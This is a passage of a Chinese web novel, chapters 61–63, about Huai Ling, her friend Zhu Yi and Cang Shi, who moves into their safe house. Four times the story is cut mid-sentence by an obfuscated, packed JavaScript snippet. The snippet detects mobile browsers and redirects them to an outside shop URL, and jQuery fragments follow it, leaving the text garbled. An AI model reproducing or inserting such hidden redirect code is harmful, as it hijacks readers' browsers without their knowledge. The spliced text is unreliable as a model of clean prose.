“有时候逛街享受的是观看的过程,而不是买的过程……你这种有钱人不要太可恶了!” “……你还想我怎样?要不我把这个店送你?” “太没情调了!” 祝译扭头走了,槐翎也不知道她为什么会这样,思考这种事好像对大脑不友好,槐翎决定不去思考了。 “不过,你到底哪里来的钱?用卡不怕被发现吗?”祝译还是没忍住好奇心问道。 “我有很多个身份,每个身份都有自己的卡,每张卡里都有一笔钱。”槐翎又从口袋里拿出一把卡片。 “你真是太可怕了。”祝译决定以后还是不问了,知道槐翎的秘密越多,以后越有可能被她灭口。 来到甜品店,因为大受好评,现在店里都挤满了客人,槐翎不想和其他人太过靠近,自觉地把钱留给祝译之后自己站在外面等。 明明还阳光普照的天气,这会却转阴了,还有隐隐的雷声从远方传来。 夏天的天气总是阴晴不定的,幸好祝译出门前看了天气预报,顺带拿了两把折叠伞出来,看来一会是能用上了。 看到这样的天气大部分行人都匆匆赶回家,一位母亲抱着年幼的女儿在街上快速走过,两名老人互相搀扶着进入了旁边的老旧居民楼,孩童们互相追逐着,他们嘴里唱着歌谣,对这马上要降下暴雨的天气不以为然。 槐翎回头看了眼还在店内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707502|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战斗的祝译,默默叹了口气。 不过转眼间,豆大的雨滴砸在地上,发出了滴滴答答的声音,把浅灰色的地面染成了深色,槐翎后退了半步以免来自屋檐的水滴碰到自己。 她今天依旧戴了黑色的假发,为了减少些攻击性,她还戴了一副黑框眼镜,看上去就和随处可见的学生一样无害。 雷声越来越近,雨水溅到槐翎的脚边,弄湿了她的鞋面,她抬头看向被乌云遮盖的太阳,追随它移动的踪迹,然后眨了眨眼睛。 也就在这瞬间,槐翎感受到了极为强烈的目光落在自己身上,在马路的对面,站着一个全身都包裹在黑色的人,他整个人都笼罩在一股肃杀之气中,直勾勾地盯着槐翎,没有撑伞的他就这么站在雨下,雨滴流过他的脸庞,顺着下巴流进风衣的内层,他看上去颇为狼狈,嘴唇苍白,下巴的胡茬都冒了出来,头发黏在额头上,睫毛上挂满了水滴,眼眶微红,那双眼睛却是深邃不见底。 这模样是要多可怜有多可怜,有一个路过的女性多看了他两眼,想要把伞分给他,又被他无情地无视了。 槐翎看了过去,看见他的手臂往下滴着被雨水稀释的红色,这红色分不清是来自谁的,最后跟着雨水一同流入了下水道。 嘈杂的雨声冲刷着她的耳朵,让她什么都听不清,而她却分明了听见那个人的呼唤。 她知道,她都听见了。 但是现在还不是见面的时候。 槐翎微笑,继而伸出食指,轻轻地比在了嘴唇上,而他也明白了槐翎的意思。 “哎呀,怎么突然下那么大雨了?”祝译提着两大袋甜品走了出来,她经历了一场激烈的奋战,现在额头上都是汗。 说完她从包里掏出两把伞,把其中一把递给了槐翎。 “你刚刚在看什么?”祝译顺着槐翎的目光看去,却什么都没能发现,除了撑着伞埋头行走的路人,和穿梭的车辆,这个街道和过去没什么不同。 “没什么。”槐翎收回目光,她打开伞,又替祝译拿过两袋甜品,祝译踩着积水跟在她在后面,雨滴落在伞面的声音遮盖了能听到的其他声音。 一阵温和的风吹过,祝译稍稍抬高了些雨伞,一缕阳光落在她的脸颊上,她稍稍愣了一下,下意识便伸手去触碰脸上的温暖,热热的就好像谁在触碰她。 两滴泪珠从她的眼角无声滑落,混着雨水掉在地上,再也找不到痕迹。 “你买了什么?”槐翎停下脚步,她回头看向祝译。 祝译极快地拭去眼角的泪痕,开始细说自己的战绩,她是怎么挤进去那些队伍里面,又是怎样拿到刚出炉的蛋糕,在结账的时候以最快的速度算出了正确的价格,又在一众人艳羡的目光里中奖得到了限量的蛋糕…… 槐翎静静地听她说完,没忍住又开始打趣:“要不你就去开甜品店得了,我来做投资人。” “这不行,我是公务员,不能有这样的副业……”祝译絮絮叨叨地说着。 雨渐渐停了。 61. 第 61 章 这个国家难得地安静了下来。 槐翎也开始给自己放一个假期,虽然殷肆现在生死未卜,但槐翎知道,以殷肆的影响力来说,皇帝还没有想好怎么处理他。 皇帝是不会秘密处死殷肆的,不然他不会大费周章活抓殷肆。 不过一旦殷肆被判处死刑,恐怕会掀起更大的波澜。 所以他只能一直关着殷肆,用时间来减去殷肆的影响力。 在那之前,槐翎也终于可以休息一下。 现在她和祝译所居住的居民楼算是在C区里面比较新的建筑,不过由于C区人口密度大,这栋楼的人口流动也极快,像是旁边的住户已经换了几批,还没等祝译和他们混个脸熟,这些住户又匆忙拿着行李离开了。 这样的居民楼很适合隐藏,没有人记得她们,也没有在意她们。 槐翎现在习惯在下午的时候出去扔垃圾,她基本不怎么做家务,只能承包点扔垃圾洗碗之类轻松的活,她其实也挺享受这段能独处的时间,于是拿上了烟和垃圾往楼下走去。 她特意走得很慢,在处理掉垃圾后,找了个没什么人的角落点了根烟。 槐翎自认为自己是没有烟瘾的,她很少对什么东西上瘾,就算是成瘾性极强的迷幻,她也能够以意志力对抗,更别说烟酒了,只是等到心情有些复杂的时候,她还是会不由自主点上一根烟。 从这个角度她能看到外面停着一辆车,一个新搬入的家庭正在忙着从车上搬东西,中年的夫妻和一个看上去不过刚成年的男孩子。 他们有说有笑的,似乎一点都不感觉到疲惫。 那男孩子的头发浓密,看上去很柔顺光滑,槐翎心想摸上去的手感一定不错。也不知道是她的目光太直白,还是那烟味飘了过去,男孩子还是注意到了槐翎的存在,他抬起头来,露出一张白净秀气的脸。 在看到槐翎时,他有些惊讶,但很快就被他的父母叫走,男孩子借机又反复抬头看了几次,但是已经找不到槐翎的身影了。 槐翎给自己的独处时间是一根烟,烟抽完了她也该回去了。 回去的时候祝译正忙着做晚饭,她最近迷上了一个明星厨师,样子不算特别出众,但是不知道为何非常富有魅力,听说在C区很受欢迎,嘴巴甜还有礼貌,做饭的时候井井有条。祝译下午的时候不看他的节目就浑身难受,连带着也跟厨师学起了做饭。 槐翎已经吃了几天她的试验品,只能说味道还过得去,但和好吃还是有距离。 然而今天的试验品尤为怪异,看着泛着蓝色的食物,槐翎头一次觉得难以下咽。 祝译却是浑然不觉,开开心心地吃了起来。 槐翎只好拿出一瓶红酒,就着红酒一点一点把饭菜吃下去,虽然是吃下去了,但还有股反胃的冲动,她皱着眉头忍了回去。 要是换做以前她恐怕早就骂人了,但是想到她也没付祝译钱,人家义务劳动,她确实不好说什么。 吃完之后,她还是认命地去洗了碗,外面的电视正在播报新闻,电视声音很大,隐约能听见祝译的说话声音。 槐翎没什么听她说话的心思,沉浸在自己的世界里慢慢地把碗洗干净,沥干,放进碗架。 夏天的夜晚还是有些闷热的,槐翎洗完澡后站在房间里的阳台里,她习惯性地点了根烟,感受着迎面吹来的晚风。 旁边的阳台传来了脚步声,在围栏的遮盖下看不见什么,但槐翎的烟味还是吹过去了,那人轻轻地咳嗽了一下。 槐翎背过身去,以免让烟雾熏着别人,但下一秒就传来了细细簌簌的声音,槐翎侧身看去只见一个男孩探出个头来,他脸颊上是两抹绯红,在看到槐翎时眼里都在放着光。 是下午见到的男孩,没想到他就住在隔壁。 “姐姐,抽烟是什么味?”他一点也不觉得自己现在的行为有问题,反而大大咧咧地主动向槐翎搭话,他话语里没有恶意,也没有算计,只是单纯地想要认识槐翎。 “你想知道?”槐翎眯着眼睛打量他,四肢修长,皮肤白皙,因为还很年轻,皮肤状态也很好。 “嗯。”他点头,看着槐翎一步一步靠近,看着槐翎把抽剩了一半的烟拿了下来,她没有化妆,但唇红齿白,上扬的狐狸眼足够勾人,在男孩看楞了的时候,槐翎把还是湿润的烟头塞进他嘴里,指尖就差那么一点碰到他的嘴唇,但也足够磨人心智。 男孩倒吸了一口气,却被烟味呛到,不受控制地咳嗽了起来。 槐翎轻声笑了,她早就忘了自己是什么时候学会抽烟的,或许那会自己比他还要笨拙。男孩涨红了脸,气息都变得紊乱,他盯着槐翎看,似是想要把槐翎的脸印在脑海里。 “味道不好。”他皱着眉头,但没有把烟拿走。“你为什么喜欢抽?” “谁说我喜欢了?”槐翎反问。 “要是不喜欢你就不会经常抽了。” “有些事不是经常做就代表喜欢,你问问有几个人喜欢上班?”槐翎用手撑着头,她存了些要逗他的心思,说起话来也染了几分无赖的味道。 “那你喜欢什么?”男孩的脸还是红扑扑的。 “我喜欢的东西可多了,金银财宝,漂亮衣服,名贵跑车……” “喜欢的人呢?”他还是没忍住问了出来。 “很遗憾,我没有喜欢的人。”男孩的表情在听到这个回答后明显变得高兴起来,他长得不算特别高,整个人都充满着活力,有一种没被世俗欺负过的纯真感,在思考再三后,他咬着下唇,紧张又青涩地继续向槐翎搭话。 “那要不要一起出去玩?” “去哪里?”槐翎没急着拒绝,她就像是个经验丰富的猎手,逐步地引诱猎物自行进入圈套,她实在是过于坏心眼,才会存了要逗弄小男孩的心思。 “去看电影?”男孩紧张地观察槐翎的表情,生怕槐翎会从那张柔软娇艳的唇里吐出拒绝的话。 “不要。”槐翎摇头,“太无趣了。” “那,那我们去游乐园?有刺激的。” 槐翎佯装纠结,男孩能听见自己的心脏正在快速跳动,一下紧接着一下,快要从胸腔深处跳出来。 “算了吧,你还是太嫩了些。”她充满恶意地叹了口气,而后扬长而去,只留下男孩站在原地,他呆呆地看着槐翎的背影,不知道自己说错了些什么,但巨大的失落感让他的心变得空落落的。 槐翎回到温度较低的室内,伸展了自己的身体,祝译在客厅走来走去,她最近忙的事情不仅是下厨,还有一项是运动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720250|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然槐翎劝过她悠着点,至少也得等身体彻底康复了再去做运动,但是祝译似乎十分在意自己的身体素质,在槐翎旁边一比就更显得羸弱,为了不拖后腿,祝译现在开始跟着网络上的教练锻炼身体。 不过对于锻炼的时长祝译自己心里还是有数的,她跟着教练跑跑跳跳,不过三个星期,身上因为甜食带来的赘肉就少了一些。 槐翎一开始还会在旁边指导两句,但她的强度比祝译要求的高太多了,祝译实在是受不了她的魔鬼训练,坚持了四天就只能求饶。 等外面喧闹的音乐停下来后,祝译已经累得气喘吁吁,躺在瑜伽垫上半死不活。 “你们…这些爱运动的人…对自己真是太狠了…”祝译看着天花板说道,“你也挺狠的,都坚持快一个月了吧。”槐翎走到她旁边,把毛巾扔到祝译的身上。 祝译清楚地看到槐翎身上的肌肉,这是她可望不可及的未来。 尤其是现在天气热,她只穿了短裤和背心,腹部的肌肉尤为明显。 祝译觉得自己这辈子都赶不上了,她闭上眼睛强迫自己坐起来,擦了擦汗水后又缓了一阵子。 “我一定少吃蛋糕。”她发誓。 “冰箱里的高糖饮料你记得喝完。”槐翎没忘记补一刀。 “我恨你。”祝译爬了起来,她现在都快热死了,只想痛痛快快洗澡躺床上休息。 “谢谢你的恨。”槐翎从冰箱里拿出罐啤酒大口喝了起来,就在这时,门口传来了急促的门铃声。 “谁啊?”祝译问,往日来应门的都是祝译,她对周围的人比较了解,但她刚刚脱了衣服准备洗澡,开门的工作只能交给槐翎。 “我去开。”槐翎拿着啤酒,她想八成是隔壁那小孩,这会怕不是回过神来发现自己被捉弄了,于是她带着笑意打开防盗门,在看到拜访的人时她的笑容凝固在脸上。 苍恃正一脸不满地站在门前,右手维持着按门铃的动作,他按门铃的速度实在不同寻常,看似是带着怒火来的,胸膛正在快速地起伏,不知道是生气还是因为喘的。 “怎么是你?”槐翎这话说得够快,还没过脑就从嘴巴里说了出来。 “你以为是谁?”他的脸色瞬间就变了,眼尾略略发红,看上去带了几分不可置信。 他俩说话的声音不小,旁边的人开门探头出来看发生了什么,槐翎透过门缝看到那是刚才的男孩,他才刚把头露出来,就被苍恃狠狠瞪了一眼。 “少管闲事,滚进去。”苍恃用手指着他脑袋,男孩吓得缩了回去。 “你凶小孩干什么?”槐翎不明白他哪来那么大火气,随手就把门打开了让苍恃进来。 他刚一踏进来,大手便直接伸向槐翎的后腰,用力把她揽进自己怀里,槐翎没想到他力气那么大,手里的啤酒全撒了出去,尽数泼在苍恃的身上。 他穿了件深色短袖上衣,冰啤酒晕在他的身上,却没有减去他身上的热度。 槐翎感觉自己快要被掐死,她伸手往苍恃的腰间摸去,碰到他短袖里面的炽热的皮肤,硬邦邦的,于是她用了十足的力气拧了一把他的肉。 这一招非常有效,苍恃不得不松开手,他捂着自己被槐翎攻击的皮肤,再抬眼看槐翎的时候竟然满脸委屈。 62. 第 62 章 他伸手把门关上,隔绝了外面看热闹的目光。 槐翎抱着手臂好整以暇地看着他,等待苍恃说明来意。 祝译还在房间里洗澡,传来了淅淅沥沥的水声和她唱歌跑调的声音。 “我都看见了。”苍恃没有明说,但槐翎马上就明白过来了,敢情这是一直在偷看啊。 “嗯,所以呢?”槐翎把空了的啤酒罐放在脚边,她顺势靠着沙发背极其放松地坐了下来。 “……那很危险。”他支支吾吾地,最后只找到这个借口。 “有多危险你跟我说说。”槐翎还是没打算放过他,脸上满是恶作剧的笑,“你觉得一个小孩能对我做什么?” “他不是小孩!”苍恃急了。 “你到底上哪来的那么强危机感,我什么时候需要你来保护了?”槐翎这话倒是说得没错,是苍恃自己自作主张要跟过来的,就算没有他,槐翎的能力也能护祝译周全。 他们能接触上也得从上个月说起,槐翎夜晚有巡视的习惯,也就在巡视的时候,她注意到有人正在远处观察屋内的情况,出于排查的考虑,槐翎先是按兵不动,在观察了一个星期后,她也是摸出来规律了。 趁着祝译熟睡的时候,她一个人拿了一袋武器找到了暗中观察她的地方,虽然跑得很快,但还是留下了些蛛丝马迹。 槐翎顺着痕迹最终顺藤摸瓜,找到了苍恃藏身的地方。 他蛰伏在C区的角落里,一边在避开杜山的追击,一边又持续观察安全屋的情况,还趁机击杀了几个差点找到她们的卫兵。 槐翎看到他的时候,他正在替自己包扎,整个人看上去都不太正常,以至于在下一刻苍恃就拿刀扑了上来,刀刃抵在槐翎的脖子上,只要稍稍用力就能划开她的喉咙。 槐翎只得照着他的要害给了两拳,才让他清醒过来。 槐翎其实已经猜到是他了,但是想到自己正在这样被监视,她还是感觉到了强烈的不适,追击了他一个星期也只是叫他别再继续了。 不过苍恃却跟鬼上身似的,非要粘着槐翎不放。 槐翎只当他是脑子被打傻了,等哪天恢复正常就知道后悔了。 因为这件事太过惊悚,槐翎也没想好要怎么和祝译说,毕竟要是祝译知道了,她是肯定不会再让苍恃这样四处流浪了。 她也只好游走在两个地方,总而言之先稳住苍恃。于是演变成白天看护祝译,晚上又拿点吃的和生活用品给苍恃,有的时候她觉得自己是在喂流浪狗,又因为太过勤快,槐翎不由地感叹自己上辈子是欠了这两人的。 原本都好端端的,结果今天他就这么冒出来了。 槐翎心里其实烦得要命,但是又不知道要怎么把他赶回去,眼看着祝译也要出来了,再怎么隐瞒都不自然。 “那你真要和他出去玩?”苍恃走近了两步,他这一走过来就遮住了大片的灯光,槐翎觉得他碍眼死了,只没好气地说出些气人的话:“对,就是要出去玩,你管得着吗?” 下一秒他就压了上来,单手控制了槐翎的手臂,另一只手按在槐翎的髋部上,让她动弹不得,他紧紧盯着槐翎的双眼,炽热的气息落在槐翎的脸上,熏得她连自己的脸都烧了起来。 他全身都绷紧了,和槐翎的灵巧不同,他现在纯粹是在利用身体上的优势和长期在前线战场的气势来压制槐翎,又因为体重上的差距,槐翎只得听从他的摆布,因为不断挣扎,槐翎身上出了一身薄汗,马尾黏在了脖子上,红色的发丝如同红线连接着二人的手。 “你要去就带上我。”他咬牙切齿地说。 “你有病,我跟别人约会还带上你做什么?”槐翎虽然身体上的力量输了,嘴巴的战斗力是一点都不想输,她脸上也沁出了一层汗,整个人看起来有着异样的吸引力。 “不能跟他约会!”苍恃发了狠,他的身体往下压了些,几乎全部的重量都放在槐翎的身上,槐翎感觉自己都要窒息了,她换了一下脸的方向,让自己能够呼吸到些新鲜空气。还没等她说话,苍恃才发现自己用力太过,稍稍松开了手,也就在这空隙,槐翎得到了反击的机会,她一个翻滚就脱离了苍恃的掣肘,灵活地拉开了和他的距离。 苍恃此时还跪在沙发上,槐翎就随手抄起手边的水杯往他身上砸去。 他迅速抬手接过杯子,不过杯子里的水还是淋了他一头。 他伸手擦去流进眼睛的水,嘴巴抿得紧紧的,不满又不安地看着槐翎。 两个人的搏斗马上又要开始,幸好洗完澡的祝译适时地走了出来,她正拿着毛巾擦头发,还毫无形象地打着哈欠,等看到沙发上的跪着的苍恃和不远处一脸警戒的槐翎时,她的大脑瞬间变成了一片空白,她发出没有意义的音节,目光在两个人身上来回打转。 “这是什么回事?!”最终她只能发出这一声感叹,如果不是承受力还可以,恐怕祝译要两眼一翻就倒下去了。 祝译的出现打破了剑拔弩张的气氛,她迫使二人坐在两边,听着他们交代这段时间的来龙去脉,在听完发生了什么之后,祝译的目光再次在二人身上来回打转。 一个人宁愿在外面流浪居无定所都不肯来,一个日夜颠倒不睡觉去投喂流浪汉。 “你们两个是不是都有点……”她想说有病,但还是忍了没说出来。 “那,你怎么突然又来了?”祝译看着苍恃问。 这下他不敢说话了,苍恃偷偷观察了槐翎的表情,见她翘着二郎腿喝啤酒,一脸看好戏的表情,看来根本不在意他的心情。 “也没什么……”他小声说道。 “是吗?槐翎你说说。”祝译也没放过她,转头就盯着槐翎。 “真要我说吗?”槐翎大大咧咧地看着苍恃,她嘴角带着笑意,每次她这么一笑的时候,祝译和苍恃都知道接下来总没好事。 “别说。”苍恃做了个口型,祝译还没来得及看懂就看不清了,这两个人之间实在太怪了,上次见面不是还要死要活的吗?! 祝译实在不明白自己错过了什么。 “老实说我也不知道为什么,只是我下午明明还在和隔壁新来的小弟弟聊天,转眼间这个人就过来了,抱着我哭求我别跟那弟弟说话。”槐翎笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724809|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯眯的,因为艺术成分加工有些多,祝译自然是不相信的。 “你是在说隔壁新来的那一家?他们家孩子确实挺可爱的,还跟我打听有没有见过一个红头发的姐姐,这是刚来就被你迷上了。”祝译顺着槐翎的话题说了下去,“就你在洗碗那会。” 苍恃是听不下去了,他猛地站起来,带动身下的椅子发出一声巨响,他脸色阴沉,不爽都能溢出来了。 因为太过明显,祝译瞬间就明白了,这下也说得通为什么会出现在这里了,她捂着鼻子扇了扇风,“怎么突然间这里酸酸的……” “坐下,突然间发什么疯。”槐翎瞪了一眼苍恃,苍恃虽然不开心,但也还是闭嘴乖乖坐了下来。 “总而言之,你们没有事就好了,这段时间我们先休养生息,养足精神,之后的事情之后再想怎么办,好吗?”祝译充当起了润滑剂的作用,她向二人发出了友好对话的邀请,如今这个样子也没什么拒绝的必要性。 “从现在开始,你就和我们住一起了,不要再在外面流浪了,这样还安全点不是。”祝译直接对苍恃下了命令,苍恃表情一僵,没有马上答应。 “你也是,少在这搅混水,以后有什么跟我说一下行不行?”没等槐翎笑出声,祝译也毫不留情地给她下了命令,槐翎轻咳一声,算是默许了。 “好了,现在你去洗一下,身上的啤酒味臭死了。”祝译又把枪口对转苍恃,“我的卫生间里面有私人用品,你去用槐翎房间的卫生间。” “等下,我也有私人用品啊?”槐翎瞪大了眼睛,她最不喜欢别人进她的私人空间,更别说卫生间了。 “你俩都是同居过的关系了,怎么看都是用你的更合适,我还想着谈恋爱呢,可不能坏我名声……”祝译说得头头是道,一套诡辩让槐翎脑子都要转不过来了。 “算了算了,我不跟你吵……”槐翎举双手投降,不就一个卫生间吗,她其实是没什么私人用品在里面,不过之后得好好盯着,可不能让别人随便进她房间。 苍恃其实早就想洗了,啤酒粘在了身上很不舒服,现在天气热了还会有一股味,虽然但是,他还是很想插嘴说这个房子都是他准备的,他于情于理都有优先选择权。 槐翎不情不愿地站起来解锁自己的房间,她甚至做了个“请”的动作,苍恃也不多客气就跟着走了进去。 “我先说好,这里没有适合你的换洗衣服。”槐翎一脸坏笑,“看在我穿过你衣服的份上,这次就委屈你先穿我的吧。” 苍恃的脚步一顿,他斜眼看向槐翎,终于想到了要如何反击槐翎的揶揄。 “太小了,穿不下。” 没想到槐翎笑意更甚,她抱着手臂懒洋洋地靠在门边,“怎么,你很大?” 苍恃的脸瞬间红透了,他支支吾吾的,什么话都说不出来,许是想到些不妙的回忆,他头也不回地钻进了浴室。 槐翎哈哈大笑,这次是她赢了。 “你俩再这样我就搬出去了啊。”祝译在客厅听了个一清二楚,她恨不得拿耳塞堵住自己的耳朵,这两个人到底怎么回事啊? 63. 第 63 章 等安顿下来都是深夜了,这套房子的户型只有两个卧室,苍恃唯一能睡的就大厅,于是平日里祝译和槐翎窝着看电视的沙发只得分给他。 祝译被他们这么一闹都累死了,切了点水果放桌面时已经哈欠连连,她还是强撑着拿出干净的被子和枕头铺了沙发,这下倒是显得沙发比床还舒服。 槐翎倒也没有真的让苍恃穿自己的衣服,趁着苍恃洗澡的时候她逛到楼下商场,随便找了两套家居服就结账回来了,先将就一晚是不成问题的。 苍恃看样子也有一段时间没有好好休息了,在祝译的影响下他也一直打着哈欠,泪花都在眼眶打转,三个人互道晚安后就关灯睡觉了。 槐翎还是老样子把门窗都锁了一遍,她没什么困意,打开电脑做了一些调查,槐迩生病的消息不怎么传得出来,但是很明显最近皇宫的动作少了很多,恐怕他的病没那么简单。 就像是突然整个世界都按了暂停键一样,一切都停了下来,这样的和平反而让她惶恐不安。 不然她也不会不睡觉到处跑了,这不过是打发她难眠的时间罢了。 她还记得自己在给了苍恃两拳后,苍恃那难以置信的表情,里面夹杂着惊讶,愤怒,还有难以察觉的欣喜。 她本来是没放在心上的,看在苍恃帮了她逃出来的份上,她手下留了情,没下死手,但出乎意料的是苍恃在那之后就没反击了,他就这么静静承受槐翎的攻击,甚至被槐翎打得鼻青脸肿他都毫不在意。 等两边都冷静下来后,苍恃就这么看着槐翎流了眼泪,他的泪水怎么都止不住,哭起来要多难看有多难看,跟五年前哭的时候一模一样的丑。 槐翎实在不明白他为什么会哭,是因为她下手太重了吗?她自觉已经收了力,她也还没说什么有攻击性的话,这就惹得他哭了? 在那之后苍恃说的第一句话是:“我终于见到你了。” 他这话说得足够直白,槐翎先是怀疑听错了,然后理智和情感都在告诉槐翎大脑的分析结果,首先她没有听错,其次就是她想的那个意思。 她头一次觉得自己的脑子有转不过来的时候,槐翎愣在了原地。等她反应的过来的时候,苍恃已经紧紧抱着她,带着一身的眼泪鼻涕,她能清楚听见苍恃的心脏跳得是有多快,好像是生命最后一刻的挣扎,拼了命地表达自己的生命力。 他的身体很热,在夏天的夜晚热得将要把她融化,她就这么站在那里,彻底感受了一个久违的拥抱。 再然后,几滴炽热的泪水滴在她身上,顺着她的脖子流进锁骨和胸口,渐渐消失在身体的某一处,他哭得一抽一抽的,几乎控制不了自己的情绪。 槐翎是僵直在原地的,她不知道该做什么反应才合适,最终也没推开苍恃,按照往常,她该是马上推开才对的。 抱了有多久不知道,总之先松开的人是苍恃,他的脸红扑扑的,眼睛都半睁着的,怎么看都不对劲。 槐翎用手背量了一下他额头的温度,马上就明白过来这是发烧烧坏脑子了。 这一切都可以解释清楚了,于是她装作什么事都没发生,买了些消炎药和退烧药留给他,就这样两个人默契地谁也没提起发生过什么。 后来槐翎留了一部手机给他,这样有什么事情就能随时沟通。 末了,她还加了句提醒:“里面没放定位器。” 苍恃想起些往事,他只弯了弯嘴角,心想要是放了也不会怎么样,反正他是不会走远了。 槐翎留手机给他是用来做必要的通讯,而苍恃并不这么认为,他居无定所,时不时会去C区的某个地方,有时还会去B区,只要看到什么他认为值得分享的,他都会拍下来给槐翎。 槐翎一开始不明白什么意思,都一一回复了。 苍恃:【流浪猫图】 槐翎:它有害吗?需要清除?上面有摄像头? 苍恃:【夕阳图】 槐翎:黄昏时刻不适合动手,等晚点吧。 苍恃:【大海图】 槐翎:杀人抛尸扔海里容易被发现,加点负重更好。 苍恃:……我不是这个意思。 槐翎:哦。 苍恃:【咖啡厅里的狗图】 槐翎:狗。 苍恃:【摇曳的树叶图】 槐翎:树叶。 苍恃:…… 槐翎:省略号。 苍恃:今天过来吗? 槐翎:邀约。 槐翎:不好意思,不过来了,祝译要我陪她看电影。 苍恃:看的什么电影? 槐翎:不知道,看一半睡着了。 苍恃:要和我看吗? 槐翎:抱歉,现在不困。 像是这样的对话实在太多,后来苍恃都快要放弃和槐翎说话了,他知道槐翎是故意的。 她是聪明人,自然知道苍恃说的话代表了什么。 面对她这个态度,苍恃也觉得无所谓了,渐渐的,连他自己都开始觉得自己脑子有病,当初竟然就因为槐雾一句话杀出重围,从A区跑出来差点连命都丢了。 但是当他看到槐翎穿着拖鞋每天给他带雪糕和各种零食的时候,他还是很难控制自己的情绪,脑海里总有个声音说着:他其实已经不怪槐翎了。 毕竟不是谁都能看见这样的槐翎,也不是谁都能受她照顾。 他感觉自己就像一个见不得光的下水道的老鼠,只有阴天的时候才能跑出来喘喘气,片刻的喘息和一点小小的恩惠就能让他感觉活着又多了几分快乐。 他不敢渴求太多,现在的他们和五年前没有太大差别,槐翎还是那个槐翎,做什么都游刃有余,苍恃还是原来的苍恃,一模一样的胆小。 现在的他躺在沙发上,几乎是刚沾到枕头就沉沉睡去,空气里充斥着花香,甜滋滋的,有时候槐翎过来的时候身上也带着很细微的花香味,他总是趁槐翎不注意的时候偷偷闻她身上的香味。 槐翎完成了调查后只觉得有些口渴,她啤酒喝多了,只能出去再接些凉水解渴。 她走路很轻,在冰箱里接了一杯凉水,沙发上的苍恃睡得很沉,槐翎趁着月光盯着他的脸。 他盖了张薄被,半个身子露在外面,手臂在月光下白得没有血色,上面有刚长好的伤疤,还有些快要消失的疤痕,靠近锁骨那一片有一道疤痕很长,直接延伸到他的胸膛。 槐翎原本是对人的外貌没什么特别注意的,不过只要仔细一看,他长得还是挺好看的,如果说脸的天花板是殷肆的话,苍恃只比他差了一点。 和殷肆那张可以用妖孽来形容的脸相比,苍恃的脸偏老实,就跟那种问他口袋里有几个子都会老实回答的老实人一样,一看就知道不会耍心计,事实上他也确实是这样的人,偏偏长着这样的脸的人跑去参军了。 这不是等于把自己逼上绝路吗?槐翎是真的不明白他为什么要这么做。 她边喝水,边盯着他的脸看,也不知道是她吞咽的声音还大,还是这月光晃了苍恃的脸,苍恃竟然缓缓地睁开了眼睛。 他双目无神,完全没注意站在旁边的槐翎,揉着眼睛就下意识往槐翎的房间走去,因为动作太过自然,槐翎没能弄明白他是醒了还是没醒。 这大半夜的进她房间是要干嘛啊?槐翎放下杯子跟了过去,像猫一样踮起脚尖悄无声息,苍恃推开房门,又在黑暗中摸索着找到卫生间。 他没有开灯,在里面发出窸窸窣窣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728868|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音,槐翎也跟着进了卫生间,因为太黑,她从口袋里掏出个小手电,正想打开,下一秒就传来了水声。 她拿着手电的手僵在原地,而后意识到自己有点太没边界感了。 这声音一听就知道他在做什么,槐翎可不想看到不该看的,她迅速把手电放好,又垫着脚尖溜了出去, 为了不让人发现她还没睡觉,她赶紧冲进自己的被窝,装作已经入睡的模样,但是那水声怎么还没有结束,尤其在安静的夜晚里特别明显,槐翎只能紧紧闭着眼睛,用被子捂住头试图隔绝掉声音。 她都要快点忘记尴尬二字要怎么写了,槐翎快要把自己闷死的时候,终于听到冲水的声音,然后是打开水龙头清洗,又是一阵脚步声越来越远,最终她的房门被关上。 再等了一会槐翎才坐了起来,她用力呼吸着,现在是彻底没了睡意。 不管怎么样,她明天就要搬去一个三卧室的房子里,总不能再这样下去了! 第二天一早,祝译就在厨房忙着研发新的菜单。 苍恃还没有体验过祝译的厨艺,他还有些没睡够,坐在沙发上发呆,在看到槐翎从房间出来后,他才拿上牙刷进洗手间。 槐翎又从里面听到了水声,她咬咬牙当做没听见,这件事到底要怎么提出来才好?! 